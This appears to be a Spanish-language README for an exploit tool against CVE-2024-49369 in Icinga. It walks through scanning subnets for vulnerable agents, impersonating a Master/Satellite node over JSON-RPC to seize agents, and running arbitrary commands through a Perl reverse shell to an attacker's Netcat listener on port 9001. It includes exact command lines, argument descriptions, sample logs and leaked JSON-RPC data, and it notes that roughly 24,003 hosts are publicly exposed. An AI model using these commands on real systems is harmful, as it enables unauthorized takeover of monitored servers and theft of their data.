
Herramienta de explotación para CVE-2024-49369 en Icinga, que permite escaneo de subredes, toma de control del agente mediante suplantación JSON-RPC, ejecución arbitraria de comandos y shell inversa.
Esta vulnerabilidad aprovecha el protocolo JSON-RPC de Icinga para explotar nodos monitoreados que ejecutan agentes de Icinga. Al suplantar una instancia Maestro/Satélite, los atacantes pueden potencialmente tomar el control de los agentes, ejecutar comandos arbitrarios u obtener información sensible.
Para escanear una subred en busca de agentes vulnerables, ejecute el siguiente comando:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
Esto escanea la subred especificada en lotes de 25 IPs. La herramienta envía un mensaje Icinga::HELLO a través del protocolo JSON-RPC e identifica los agentes que responden junto con sus versiones.
Si la configuración y ejecución de comandos está habilitada en un endpoint (la configuración predeterminada para nodos monitoreados con agentes de Icinga), un atacante puede:
Esto puede llevar a un compromiso total del sistema (dependiendo del usuario del servicio) o a acceso limitado.
Cuando el nodo padre aún está conectado, las conexiones del exploit se verán así en el registro:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
Podemos ver que este nodo es vulnerable al ataque, ya que se genera la advertencia sobre clústeres, lo que indica que el satélite actual aún está conectado, pero este agente nos ve como un padre válido.
Inicie un listener de Netcat para la reverse shell:
nc -lvnp 9001
Lance el exploit:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host: Dirección IP del agente objetivo.--node-cn: Nombre común del Maestro/Satélite a suplantar.--zone: Nombre de la zona objetivo. Por defecto es master.--revip: Dirección IP del atacante para la reverse shell.--revport: Puerto del atacante para la reverse shell.Este comando inicia intentos de conexión repetidos. Una vez que el agente objetivo se desconecta de su padre actual, la herramienta toma el control, enviando y recibiendo verificaciones.
Se utiliza una reverse shell basada en Perl como parte de una nueva verificación creada por la herramienta.
Incluso si la configuración y ejecución de comandos están deshabilitadas en el objetivo, los atacantes aún pueden obtener datos sensibles al observar los resultados de las verificaciones enviadas al agente.
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
Estas respuestas pueden revelar configuraciones sensibles, datos de programación o incluso los resultados de servicios monitoreados.
En Censys actualmente hay 24,003 hosts con un puerto de Icinga expuesto públicamente. Verificaciones puntuales indican que la mayoría de los hosts aún ejecutan una versión vulnerable de Icinga.
Esta investigación se basa en el trabajo discutido en el blog de Icinga.